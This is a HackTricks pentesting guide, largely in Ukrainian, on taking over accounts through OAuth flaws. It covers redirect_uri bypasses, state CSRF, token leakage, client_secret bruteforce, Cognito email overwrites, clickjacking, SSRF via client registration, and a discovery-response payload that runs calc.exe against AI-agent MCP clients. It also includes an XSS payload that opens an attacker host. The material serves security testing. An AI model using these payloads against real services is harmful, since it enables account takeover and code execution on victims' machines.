OAuth to Account takeover
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.
Основна інформація
OAuth пропонує різні версії; базові відомості доступні на OAuth 2.0 documentation. Це обговорення зосереджене головним чином на широко використовуваному OAuth 2.0 authorization code grant type, який надає фреймворк авторизації, що дає змогу застосунку отримувати доступ або виконувати дії в акаунті користувача в іншому застосунку (authorization server).
Уявімо гіпотетичний сайт https://example.com, призначений для відображення всіх ваших публікацій у соціальних мережах, включно з приватними. Для цього використовується OAuth 2.0. https://example.com попросить вашого дозволу на доступ до ваших публікацій у соціальній мережі. У результаті на https://socialmedia.com з’явиться екран згоди, на якому будуть описані запитувані дозволи та розробник, який робить запит. Після вашого схвалення https://example.com отримує можливість доступатися до ваших публікацій від вашого імені.
Важливо розуміти наступні компоненти в рамках OAuth 2.0:
- resource owner: Ви, як користувач/суб’єкт, надаєте дозвіл на доступ до вашого ресурсу, наприклад, публікацій у вашому акаунті соціальної мережі.
- resource server: сервер, що обробляє автентифіковані запити після того, як застосунок отримав
access tokenвід іменіresource owner, наприклад https://socialmedia.com. - client application: застосунок, який запитує авторизацію у
resource owner, наприклад https://example.com. - authorization server: сервер, який видає
access tokensклієнтському застосунку після успішної автентифікаціїresource ownerі отримання дозволу, наприклад https://socialmedia.com. - client_id: Публічний унікальний ідентифікатор застосунку.
- client_secret: Конфіденційний ключ, відомий лише застосунку та authorization server, який використовується для генерації
access_tokens. - response_type: Значення, що вказує тип запитуваного токена, наприклад
code. - scope: рівень доступу, який
client applicationзапитує уresource owner. - redirect_uri: URL, на який користувача перенаправляють після авторизації. Зазвичай має співпадати з попередньо зареєстрованою redirect URL.
- state: Параметр для збереження даних під час редиректу користувача на authorization server і назад. Його унікальність важлива для використання як механізму захисту від CSRF.
- grant_type: Параметр, що вказує тип гранту і тип токена, який буде повернуто.
- code: Код авторизації від
authorization server, який використовується разом зclient_idтаclient_secretклієнтським застосунком для отриманняaccess_token. - access_token: токен, яким client application користується для API-запитів від імені
resource owner. - refresh_token: Дозволяє застосунку отримати новий
access_tokenбез повторного запиту дозволу у користувача.
Потік
Фактичний OAuth-потік відбувається таким чином:
- Ви заходите на https://example.com і натискаєте кнопку “Integrate with Social Media”.
- Сайт надсилає запит до https://socialmedia.com, просячи вашого дозволу, щоб застосунок https://example.com отримав доступ до ваших публікацій. Запит має структуру:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- Вам показується сторінка згоди.
- Після вашого підтвердження, соціальна мережа надсилає відповідь на
redirect_uriз параметрамиcodeтаstate:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com використовує цей
code, разом зі своїмclient_idтаclient_secret, щоб зробити серверний запит для отриманняaccess_tokenвід вашого імені, що дозволяє доступ до дозволів, на які ви дали згоду:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- Нарешті, процес завершується тим, що https://example.com використовує ваш
access_tokenдля виклику API соціальної мережі, щоб отримати доступ
Уразливості
Open redirect_uri
Відповідно до RFC 6749 §3.1.2, authorization server повинен перенаправляти браузер лише на pre-registered, exact redirect URIs. Будь-яка вразливість тут дозволяє зловмиснику направити жертву через шкідливий authorization URL так, що IdP доставляє code жертви (і state) прямо на кінцеву точку зловмисника, яка потім може його викупити та зібрати токени.
Типовий сценарій атаки:
- Сформуйте
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callbackі надішліть його жертві. - Жертва автентифікується і підтверджує scopes.
- IdP перенаправляє на
attacker.tld/callback?code=<victim-code>&state=..., де зловмисник логуює запит і негайно обмінює code.
Типові помилки валідації для перевірки:
- No validation – будь-який абсолютний URL приймається, що призводить до миттєвого викрадення
code. - Weak substring/regex checks on the host – обхід за допомогою схожих доменів, таких як
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, абоmatch.com@evil.com. - IDN homograph mismatches – валідація відбувається на формі punycode (
xn--), але браузер редиректить на Unicode-домен, контрольований зловмисником. - Arbitrary paths on an allowed host – вказання
redirect_uriна/openredirect?next=https://attacker.tldабо на будь-яку XSS/user-content кінцеву точку призводить до витоку code через ланцюгові редиректи, Referer headers або через ін’єктований JavaScript. - Directory constraints without normalization – патерни на кшталт
/oauth/*можна обійти через/oauth/../anything. - Wildcard subdomains – прийняття
*.example.comозначає, що будь-яке takeover (dangling DNS, S3 bucket тощо) негайно забезпечує дійсний callback. - Non-HTTPS callbacks – пропуск
http://URI дає мережевим атакуючим (Wi‑Fi, корпоративний проксі) можливість перехопити code в передачі.
Також перевіряйте допоміжні redirect-параметри (client_uri, policy_uri, tos_uri, initiate_login_uri тощо) та OpenID discovery document (/.well-known/openid-configuration) на наявність додаткових кінцевих точок, які можуть успадкувати ті самі помилки валідації.
Redirect token leakage on allowlisted domains with attacker-controlled subpaths
Фіксація redirect_uri на «owned/first-party domains» не допомагає, якщо будь-який allowlisted домен відкриває attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads тощо). Якщо OAuth/federated login flow returns tokens in the URL (query або hash), зловмисник може:
- Запустити легітимний flow, щоб згенерувати pre-token (наприклад,
etokenу багатокроковому Accounts Center/FXAuth flow). - Надіслати жертві authorization URL, що встановлює allowlisted домен як
redirect_uri/base_uri, але вказуєnext/path у namespace, контрольований зловмисником (наприклад,https://apps.facebook.com/<attacker_app>). - Після підтвердження жертвою, IdP перенаправляє на attacker-controlled path з конфіденційними значеннями в URL (
token,blob, codes тощо). - JavaScript на цій сторінці читає
window.locationі ексфільтрує значення, незважаючи на те, що домен є «trusted». - Відтворити захоплені значення проти downstream привілейованих кінцевих точок, які очікують лише токени, передані через редирект. Приклади з FXAuth flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
XSS in redirect implementation
Як зазначено в цьому bug bounty звіті https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html, можливо, що redirect URL відображається у відповіді сервера після того, як користувач автентифікується, що робить його вразливим до XSS. Можливий payload для тестування:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
OAuth callback error pages: відображені error_description, trusted-origin phishing, та закодоване state leakage
Деякі інтеграції OAuth використовують first-party callback page для відтворення помилок входу після того, як IdP перенаправляє браузер назад. Ці сторінки мають високу цінність, оскільки вони вже працюють на довіреному origin і часто обробляють параметри під контролем атакуючого, такі як error, error_description, message, description або state.
- Відображення
error_descriptionв HTML без суворого кодування виводу перетворює callback на trusted-origin phishing page. Навіть коли<script>фільтрується, HTML-інʼєкція все одно може підробити всю сторінку помилки та спонукати жертву виконати дії, обрані атакуючим. - WAFs часто орієнтуються на поширені обробники такі як
onload/onerror. Коли звичайні payloads блокуються, спробуйте специфічні для браузера або рідкісні події, які захисники можуть не занести в чорний список. Практичний приклад —onpagerevealу Safari, який може виконатися, коли шкідлива callback-сторінка показується в Safari:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
- Test self-referential payloads: якщо ін’єктований HTML/JS може знову відкрити або перезавантажити той самий callback URL, це може призвести до client-side resource exhaustion, повторюваних спливаючих вікон/вкладок або log flooding при кожному рендері.
- Always decode opaque-looking
statevalues. Багато реалізацій кодують JSON або метадані користувача в Base64 і вважають, що це «приховано». Base64 оборотний, тож callback URL може leak PII, наприклад email-адреси, tenant identifiers, return paths або внутрішній стан робочого процесу. - Treat URL exposure as part of the bug: будь-що, розміщене у callback URL, може згодом з’явитися в історії браузера, reverse proxies, load balancers, app logs, monitoring tools, скриншотах та в
Refererзаголовках, якщо сторінка завантажує ресурси третьої сторони.
Quick checks during testing:
- Викличте як успішні, так і невдалі OAuth callbacks і зафіксуйте повний URL разом із відрендереним HTML.
- Відтворіть callback, мутуючи поля
error_description,messageта подібні поля помилок у простий текст, HTML та event-handler payloads. - Розкодуйте
stateяк Base64/URL-safe Base64 і перевірте його на наявність PII або стану застосунку, який мав залишатися на стороні сервера. - Повторіть браузер-специфічні payloads у Safari/WebKit, коли WAF блокує стандартні inline-event XSS probes.
CSRF - Improper handling of state parameter
Параметр state є CSRF-токеном для Authorization Code flow: клієнт має згенерувати криптографічно випадкове значення для кожного екземпляра браузера, зберегти його в місці, яке читає лише цей браузер (cookie, local storage тощо), відправити його у запиті авторизації та відхиляти будь-яку відповідь, яка не повертає те саме значення. Якщо значення статичне, передбачуване, опціональне або не прив’язане до сесії користувача, атака може завершити власний OAuth-потік, перехопити фінальний запит ?code= (не відправляючи його) і пізніше змусити браузер жертви відтворити цей запит, через що обліковий запис жертви зв’яжеcя з профілем attacker’s identity provider.
Патерн відтворення завжди однаковий:
- Attacker аутентифікується в IdP зі своїм акаунтом і перехоплює останній редирект, що містить
code(і будь-якийstate). - Він відкидає той запит, зберігає URL і пізніше зловживає будь-яким CSRF-примітивом (link, iframe, auto-submitting form), щоб примусити браузер жертви його завантажити.
- Якщо клієнт не перевіряє
state, застосунок споживає authorization result від attacker’а і логінить attacker’а в обліковий запис жертви.
Практичний чекліст для обробки state під час тестування:
- Missing
stateentirely – якщо параметр ніколи не з’являється, весь логін піддається CSRF. statenot required – видаліть його з початкового запиту; якщо IdP все ще видає коди, які клієнт приймає, захист є opt-in.- Returned
statenot validated – підмініть значення у відповіді (Burp, MITM proxy). Прийняття невідповідних значень означає, що збережений токен ніколи не порівнюється. - Predictable or purely data-driven
state– багато додатків кладуть redirect paths або JSON-блоки вstateбез додавання випадковості, дозволяючи attacker’ам вгадувати валідні значення і відтворювати потоки. Завжди додавайте сильну ентропію перед кодуванням даних (prepend/append). statefixation – якщо додаток дозволяє користувачам задавати значенняstate(наприклад, через crafted authorization URLs) і повторно використовує його у всьому потоці, attacker може зафіксувати відоме значення і використовувати його проти різних жертв.
PKCE може доповнювати state (особливо для public clients), прив’язуючи authorization code до code verifier, але web clients все одно мають відстежувати state, щоб запобігти cross-user CSRF/account-linking проблемам.
Pre Account Takeover
- Without Email Verification on Account Creation: Attacker’и можуть попередньо створити акаунт, використовуючи email жертви. Якщо пізніше жертва увійде через third-party service, застосунок може ненавмисно зв’язати цей third-party акаунт із попередньо створеним акаунтом attacker’а, що призведе до несанкціонованого доступу.
- Exploiting Lax OAuth Email Verification: Attacker’и можуть використати OAuth сервіси, які не перевіряють email, зареєструвавшись там і змінивши email акаунта на email жертви. Цей метод аналогічно створює ризик несанкціонованого доступу до акаунту, подібно до першого сценарію, але через інший вектор атаки.
Disclosure of Secrets
client_id навмисно є публічним, але client_secret ніколи не має бути відновлюваним кінцевими користувачами. Authorization Code деплойменти, які вбудовують секрет у mobile APKs, desktop clients, or single-page apps, фактично віддають ці креденшали будь-кому, хто може завантажити пакет. Завжди інспектуйте public clients шляхом:
- Розпакування APK/IPA, desktop installer або Electron app і grep’у на
client_secret, Base64-blob’ів, які декодуються в JSON, або хардкодених OAuth endpoints. - Перегляду вбудованих конфіг-файлів (plist, JSON, XML) або декомпільованих рядків на предмет credentials клієнта.
Після того як attacker витягне секрет, йому потрібно лише вкрасти будь-який victim authorization code (через слабий redirect_uri, логи тощо), щоб незалежно звернутися до /token і згенерувати access/refresh tokens без участі легітимного додатку. Розглядайте public/native clients як incapable of holding secrets — вони повинні покладатися на PKCE (RFC 7636), щоб довести володіння per-instance code verifier замість статичного секрету. Під час тестування підтвердіть, чи PKCE є обов’язковим і чи backend дійсно відхиляє token exchanges, які не містять або client_secret, або валідного code_verifier.
Client Secret Bruteforce
You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:
- Classic Referer leak: після OAuth redirect будь-яка навігація, яка зберігає
?code=&state=в URL, занесе їх у заголовок Referer, що відправляється на CDNs/analytics/ads. - Telemetry/analytics confused deputy: деякі SDKs (pixels/JS loggers) реагують на події
postMessageі потім send the currentlocation.href/referrerto backend APIs using a token supplied in the message. Якщо ви можете інжектувати власний token у цей потік (наприклад, через attacker-controlled postMessage relay), ви зможете пізніше прочитати історію/логи запитів API SDK і відновити OAuth артефакти жертви, вбудовані в ці запити.
Access Token Stored in Browser History
The core guarantee of the Authorization Code grant is that access tokens never reach the resource owner’s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:
- Tokens in URLs – if
access_tokenappears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties. - Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
- Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
- Tokens persisted in Web Storage –
localStorage/sessionStorageretain tokens long after logout on shared devices and are script-accessible.
Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.
Everlasting Authorization Code
Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:
- Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
- Test sequential reuse – send the same
codetwice. If the second request yields another token, attackers can clone sessions indefinitely. - Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
- Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.
Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.
Authorization/Refresh Token not bound to client
If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:
- Capturing a
codefor app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken. - Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary
state/app_idwhile only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens. - Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log
location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.
Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.
Зловживання token інших додатків
As mentioned in this writeup, OAuth flows that expect to receive the token (and not a code) could be vulnerable if they not check that the token belongs to the app.
This is because an attacker could create an application supporting OAuth and login with Facebook (for example) in his own application. Then, once a victim logins with Facebook in the attackers application, the attacker could get the OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.
Caution
Therefore, if the attacker manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and aren’t checking if the token was granted to their app ID.
Two links & cookie
According to this writeup, it was possible to make a victim open a page with a returnUrl pointing to the attackers host. This info would be stored in a cookie (RU) and in a later step the prompt will ask the user if he wants to give access to that attackers host.
To bypass this prompt, it was possible to open a tab to initiate the Oauth flow that would set this RU cookie using the returnUrl, close the tab before the prompt is shown, and open a new tab without that value. Then, the prompt won’t inform about the attackers host, but the cookie would be set to it, so the token will be sent to the attackers host in the redirection.
Prompt Interaction Bypass
As explained in this video, some OAuth implementations allows to indicate the prompt GET parameter as None (&prompt=none) to prevent users being asked to confirm the given access in a prompt in the web if they are already logged in the platform.
response_mode
As explained in this video, it might be possible to indicate the parameter response_mode to indicate where do you want the code to be provided in the final URL:
response_mode=query-> The code is provided inside a GET parameter:?code=2397rf3gu93fresponse_mode=fragment-> The code is provided inside the URL fragment parameter#code=2397rf3gu93fresponse_mode=form_post-> The code is provided inside a POST form with an input calledcodeand the valueresponse_mode=web_message-> The code is send in a post message:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
OAuth consent/login dialogs are ideal clickjacking targets: if they can be framed, an attacker can overlay custom graphics, hide the real buttons, and trick users into approving dangerous scopes or linking accounts. Build PoCs that:
- Load the IdP authorization URL inside an
<iframe sandbox="allow-forms allow-scripts allow-same-origin">. - Use absolute positioning/opacity tricks to align fake buttons with the hidden Allow/Approve controls.
- Optionally pre-fill parameters (scopes, redirect URI) so the stolen approval immediately benefits the attacker.
During testing verify that IdP pages emit either X-Frame-Options: DENY/SAMEORIGIN or a restrictive Content-Security-Policy: frame-ancestors 'none'. If neither is present, demonstrate the risk with tooling like NCC Group’s clickjacking PoC generator and record how easily a victim authorizes the attacker’s app. For additional payload ideas see Clickjacking.
OAuth ROPC flow - 2 FA bypass
According to this blog post, this is an OAuth flow that allows to login in OAuth via username and password. If during this simple flow a token with access to all the actions the user can perform is returned then it’s possible to bypass 2FA using that token.
ATO on web page redirecting based on open redirect to referrer
This blogpost comments how it was possible to abuse an open redirect to the value from the referrer to abuse OAuth to ATO. The attack was:
- Victim access the attackers web page
- The victim opens the malicious link and an opener starts the Google OAuth flow with
response_type=id_token,code&prompt=noneas additional parameters using as referrer the attackers website. - In the opener, after the provider authorizes the victim, it sends them back to the value of the
redirect_uriparameter (victim web) with 30X code which still keeps the attackers website in the referer. - The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the
respose_typewasid_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.
SSRFs parameters
Check this research For further details of this technique.
Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for Server-Side Request Forgery (SSRF) attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.
Key Points:
- Dynamic Client Registration is often mapped to
/registerand accepts details likeclient_name,client_secret,redirect_uris, and URLs for logos or JSON Web Key Sets (JWKs) via POST requests. - This feature adheres to specifications laid out in RFC7591 and OpenID Connect Registration 1.0, which include parameters potentially vulnerable to SSRF.
- The registration process can inadvertently expose servers to SSRF in several ways:
logo_uri: A URL for the client application’s logo that might be fetched by the server, triggering SSRF or leading to XSS if the URL is mishandled.jwks_uri: A URL to the client’s JWK document, which if maliciously crafted, can cause the server to make outbound requests to an attacker-controlled server.sector_identifier_uri: References a JSON array ofredirect_uris, which the server might fetch, creating an SSRF opportunity.request_uris: Lists allowed request URIs for the client, which can be exploited if the server fetches these URIs at the start of the authorization process.
Exploitation Strategy:
- SSRF can be triggered by registering a new client with malicious URLs in parameters like
logo_uri,jwks_uri, orsector_identifier_uri. - While direct exploitation via
request_urismay be mitigated by whitelist controls, supplying a pre-registered, attacker-controlledrequest_urican facilitate SSRF during the authorization phase.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) shows how dynamic OAuth discovery becomes an RCE primitive whenever the client forwards IdP metadata straight to the operating system. The remote MCP server returns an attacker-controlled authorization_endpoint during the discovery exchange (/.well-known/openid-configuration or any metadata RPC). mcp-remote ≤0.1.15 would then call the system URL handler (start, open, xdg-open, etc.) with whatever string arrived, so any scheme/path supported by the OS executed locally.
Attack workflow
- Point the desktop agent to a hostile MCP/OAuth server (
npx mcp-remote https://evil). The agent receives401plus metadata. - The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- Клієнт запускає обробник ОС для переданого URI. Windows приймає payload-и типу
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux приймаютьfile:///Applications/Calculator.app/...або навіть кастомні схеми, наприкладcmd://bash -lc '<payload>', якщо вони зареєстровані. - Оскільки це відбувається до будь-якої взаємодії з користувачем, достатньо просто налаштувати клієнт на спілкування з сервером нападника, щоб отримати виконання коду.
Як тестувати
- Націльтеся на будь-який десктоп/агент з підтримкою OAuth, який виконує discovery через HTTP(S) і відкриває повернуті endpoints локально (Electron apps, CLI helpers, thick clients).
- Перехопіть або розмістіть відповідь discovery та замініть поля
authorization_endpoint,device_authorization_endpointабо подібні наfile://,cmd://, UNC-шляхи або інші небезпечні схеми. - Перевірте, чи валідрує клієнт схему/хоста. Відсутність валідації призводить до миттєвого виконання під контекстом користувача і підтверджує наявність вразливості.
- Повторіть з різними схемами, щоб відмепити повну поверхню атаки (наприклад,
ms-excel:,data:text/html,, custom protocol handlers) і продемонструвати кросплатформенний вплив.
OAuth providers Race Conditions
Якщо платформа, яку ви тестуєте, є OAuth provider, прочитайте це, щоб перевірити можливі Race Conditions.
Mutable Claims Attack
В OAuth поле sub унікально ідентифікує користувача, але його формат варіюється в залежності від Authorization Server. Щоб уніфікувати ідентифікацію користувача, деякі клієнти використовують email-и або user handles. Проте це ризиковано, тому що:
- Деякі Authorization Servers не гарантують, що ці властивості (наприклад, email) залишаться незмінними.
- У певних реалізаціях — таких як “Login with Microsoft” — клієнт покладається на поле email, яке контролюється користувачем в Entra ID і не підтверджене.
- Нападник може скористатися цим, створивши власну організацію в Azure AD (наприклад, doyensectestorg) і використовуючи її для виконання Microsoft login.
- Хоча Object ID (збережений у sub) є незмінним і безпечним, залежність від змінного поля email може дозволити takeover облікового запису (наприклад, перехоплення акаунта як victim@gmail.com).
Client Confusion Attack
У Client Confusion Attack додаток, що використовує OAuth Implicit Flow, не перевіряє, чи фінальний access token був згенерований саме для його Client ID. Нападник налаштовує публічний вебсайт, який використовує Google’s OAuth Implicit Flow, обманює тисячі користувачів, змушуючи їх залогінитись, і збирає access tokens, призначені для сайту нападника. Якщо ці користувачі також мають акаунти на іншому вразливому вебсайті, який не валідрує Client ID у токені, нападник може повторно використати зібрані токени, щоб видавати себе за жертв і здійснити takeover їхніх акаунтів.
Scope Upgrade Attack
Authorization Code Grant передбачає безпечну server-to-server комунікацію для передачі даних користувача. Проте, якщо Authorization Server неявно довіряє параметру scope в Access Token Request (параметр, не визначений у RFC), зловмисний додаток може підвищити привілеї authorization code, запросивши вищий scope. Після генерації Access Token, Resource Server повинен його верифікувати: для JWT-токенів це включає перевірку JWT signature і витягування даних таких як client_id та scope, тоді як для токенів у вигляді випадкових рядків сервер має запитати Authorization Server, щоб отримати деталі токена.
Redirect Scheme Hijacking
У мобільних реалізаціях OAuth застосунки використовують custom URI schemes, щоб отримувати редиректи з Authorization Codes. Однак оскільки кілька додатків можуть зареєструвати ту саму схему на пристрої, припущення, що лише легітимний клієнт контролює redirect URI, порушується. На Android, наприклад, Intent URI типу com.example.app:// ловиться на основі схеми і опційних фільтрів, визначених у intent-filter додатку. Оскільки Android’s intent resolution може бути широкою — особливо якщо вказана лише схема — нападник може зареєструвати зловмисний додаток з ретельно сконструйованим intent filter, щоб перехопити authorization code. Це може дозволити takeover акаунта або через взаємодію з користувачем (коли кілька додатків підходять для обробки intent), або через обхідні техніки, що експлуатують надто специфічні фільтри, як описано в Ostorlab’s assessment flowchart.
References
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- Rapid7: CVE-2026-31381, CVE-2026-31382: Gainsight Assist Information Disclosure and Cross-Site Scripting (FIXED)
- MDN: Window
pagerevealevent
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.


